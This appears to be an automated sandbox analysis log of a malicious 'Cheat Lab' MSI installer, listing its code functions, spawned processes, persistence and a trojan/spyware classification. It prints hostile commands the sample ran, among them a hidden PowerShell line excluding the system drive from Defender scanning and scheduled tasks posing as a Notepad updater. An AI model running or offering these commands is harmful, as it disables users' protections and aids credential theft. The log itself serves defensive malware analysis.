Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0AB6BC	18_2_00007FF6FE0AB6BC
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE09B448	18_2_00007FF6FE09B448
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE075160	18_2_00007FF6FE075160
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE095184	18_2_00007FF6FE095184
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE031180	18_2_00007FF6FE031180
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0B31F4	18_2_00007FF6FE0B31F4
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A6FC4	18_2_00007FF6FE0A6FC4
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE097080	18_2_00007FF6FE097080
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE05AD60	18_2_00007FF6FE05AD60
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FDFF6BC0	18_2_00007FF6FDFF6BC0
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE088C14	18_2_00007FF6FE088C14
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0B2C74	18_2_00007FF6FE0B2C74
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE094C84	18_2_00007FF6FE094C84
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0AACB0	18_2_00007FF6FE0AACB0
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE08CD1C	18_2_00007FF6FE08CD1C
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE088948	18_2_00007FF6FE088948
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0B29E0	18_2_00007FF6FE0B29E0
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FDFF6A00	18_2_00007FF6FDFF6A00
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE07AB00	18_2_00007FF6FE07AB00
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A4828	18_2_00007FF6FE0A4828
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE03287E	18_2_00007FF6FE03287E
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0B28FC	18_2_00007FF6FE0B28FC
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE088654	18_2_00007FF6FE088654
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE088374	18_2_00007FF6FE088374
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0AC47C	18_2_00007FF6FE0AC47C
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE08C4CC	18_2_00007FF6FE08C4CC
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A04E8	18_2_00007FF6FE0A04E8
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE074530	18_2_00007FF6FE074530
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE022290	18_2_00007FF6FE022290
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A82B0	18_2_00007FF6FE0A82B0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 21_3_00007FF7142ED0DC	21_3_00007FF7142ED0DC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 21_3_00007FF7142ED646	21_3_00007FF7142ED646
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00401000	22_2_00401000
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00401220	22_2_00401220
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00401F4A	22_2_00401F4A
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00BC0848	22_2_00BC0848
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00BC1B68	22_2_00BC1B68
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00BC0838	22_2_00BC0838
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00BC58AF	22_2_00BC58AF
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00BC1B59	22_2_00BC1B59
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02636AB8	22_2_02636AB8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02630040	22_2_02630040
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_026318AF	22_2_026318AF
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02631128	22_2_02631128
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02633731	22_2_02633731
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02632C10	22_2_02632C10
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02633D10	22_2_02633D10
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02630581	22_2_02630581
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02630007	22_2_02630007
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_02630CC0	22_2_02630CC0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE41A4	22_2_04CE41A4
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CECF10	22_2_04CECF10
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE9988	22_2_04CE9988
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE10B4	22_2_04CE10B4
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE3068	22_2_04CE3068
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE3078	22_2_04CE3078
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE5030	22_2_04CE5030
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE41A1	22_2_04CE41A1
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CECF00	22_2_04CECF00
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDCFA8	22_2_07FDCFA8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDEF88	22_2_07FDEF88
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDAF40	22_2_07FDAF40
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDEA3F	22_2_07FDEA3F
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDF279	22_2_07FDF279
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDA208	22_2_07FDA208
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FDC8E0	22_2_07FDC8E0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08083D50	22_2_08083D50
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08088200	22_2_08088200
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080A0B20	22_2_080A0B20
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080A8EC0	22_2_080A8EC0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080A0540	22_2_080A0540
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080A3950	22_2_080A3950
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080A3960	22_2_080A3960
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080A1180	22_2_080A1180
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080F8C50	22_2_080F8C50
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080FA008	22_2_080FA008
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080F93D0	22_2_080F93D0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080FD48C	22_2_080FD48C
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080FD48C	22_2_080FD48C
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080FD48C	22_2_080FD48C
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_081222C0	22_2_081222C0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_081257B2	22_2_081257B2
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_081242D4	22_2_081242D4
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815A020	22_2_0815A020
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815A8F0	22_2_0815A8F0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_081529F8	22_2_081529F8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815F258	22_2_0815F258
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815CB48	22_2_0815CB48
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08154D90	22_2_08154D90
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815C140	22_2_0815C140
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815CB38	22_2_0815CB38
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08159CD8	22_2_08159CD8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08154D80	22_2_08154D80
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0815DE54	22_2_0815DE54
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D9388D	22_2_08D9388D
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D92917	22_2_08D92917
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D97930	22_2_08D97930
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D90C90	22_2_08D90C90
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D96D70	22_2_08D96D70
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D90040	22_2_08D90040
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D93250	22_2_08D93250
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D9533B	22_2_08D9533B
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D945C8	22_2_08D945C8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D9A6D8	22_2_08D9A6D8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D916D0	22_2_08D916D0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D996C8	22_2_08D996C8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D96D60	22_2_08D96D60
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D92448	22_2_08D92448
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08D945C5	22_2_08D945C5
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_09630040	22_2_09630040
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963F0D0	22_2_0963F0D0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963E270	22_2_0963E270
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963BAB1	22_2_0963BAB1
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_096375A8	22_2_096375A8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_09638E80	22_2_09638E80
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963E8E8	22_2_0963E8E8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963F0BF	22_2_0963F0BF
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963C3F1	22_2_0963C3F1
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0963E25F	22_2_0963E25F
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_09638E70	22_2_09638E70
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_09637A92	22_2_09637A92

Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIBD45.tmp

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\66bc0c.msi

Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp	Code function: String function: 00F53292 appears 70 times
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: String function: 00F53790 appears 39 times
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: String function: 00F5325F appears 103 times

Source: Cheat.Lab.2.7.2.msi	Binary or memory string: OriginalFilenameviewer.exeF vs Cheat.Lab.2.7.2.msi
Source: Cheat.Lab.2.7.2.msi	Binary or memory string: OriginalFilenameaischeduler.dllF vs Cheat.Lab.2.7.2.msi
Source: Cheat.Lab.2.7.2.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs Cheat.Lab.2.7.2.msi

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\WVS7RGNO.htm

Jump to behavior

Source: classification engine

Classification label: mal60.troj.spyw.evad.winMSI@30/50@2/4

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Code function: 9_2_00007FF738ABEE80 GetLastError,FormatMessageA,

9_2_00007FF738ABEE80

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F345B0 LoadResource,LockResource,SizeofResource,

6_2_00F345B0

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files\Cheat Lab Inc

Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C ""C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat"

Source: C:\Windows\Installer\MSIC01A.tmp

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Cheat.Lab.2.7.2.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding F46D88023010FA67F9BE0B7659EC2472 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CF599F91F9CA52D79045F3DD2E6AB85B
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 2387AF9F5B3315EE543DBCEF741FA41F E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIC01A.tmp C:\Windows\Installer\MSIC01A.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow "C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat
Source: C:\Windows\Installer\MSIC01A.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C ""C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 11:45 /f /tn NotepadUpdateTask_NzEz /tr ""C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe" "C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua""
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 11:45 /f /tn "LuaJIT" /tr ""C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua""
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua
Source: unknown	Process created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Source: unknown	Process created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Process created: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding F46D88023010FA67F9BE0B7659EC2472 C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CF599F91F9CA52D79045F3DD2E6AB85B	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 2387AF9F5B3315EE543DBCEF741FA41F E Global\MSI0000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIC01A.tmp C:\Windows\Installer\MSIC01A.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow "C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C ""C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"	Jump to behavior
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 11:45 /f /tn NotepadUpdateTask_NzEz /tr ""C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe" "C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua""	Jump to behavior
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 11:45 /f /tn "LuaJIT" /tr ""C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua""	Jump to behavior
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Process created: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\MSIAB91.tmp

Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F34BA0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

6_2_00F34BA0

Source: connect.exe, 00000016.00000002.2133528800.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.0000000002D11000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F33860 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,CloseHandle,Process32NextW,CloseHandle,

6_2_00F33860

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Mutant created: \Sessions\1\BaseNamedObjects\Sun713
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7380:120:WilError_03

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Command line argument: PE@

22_2_004044A0

Source: connect.exe

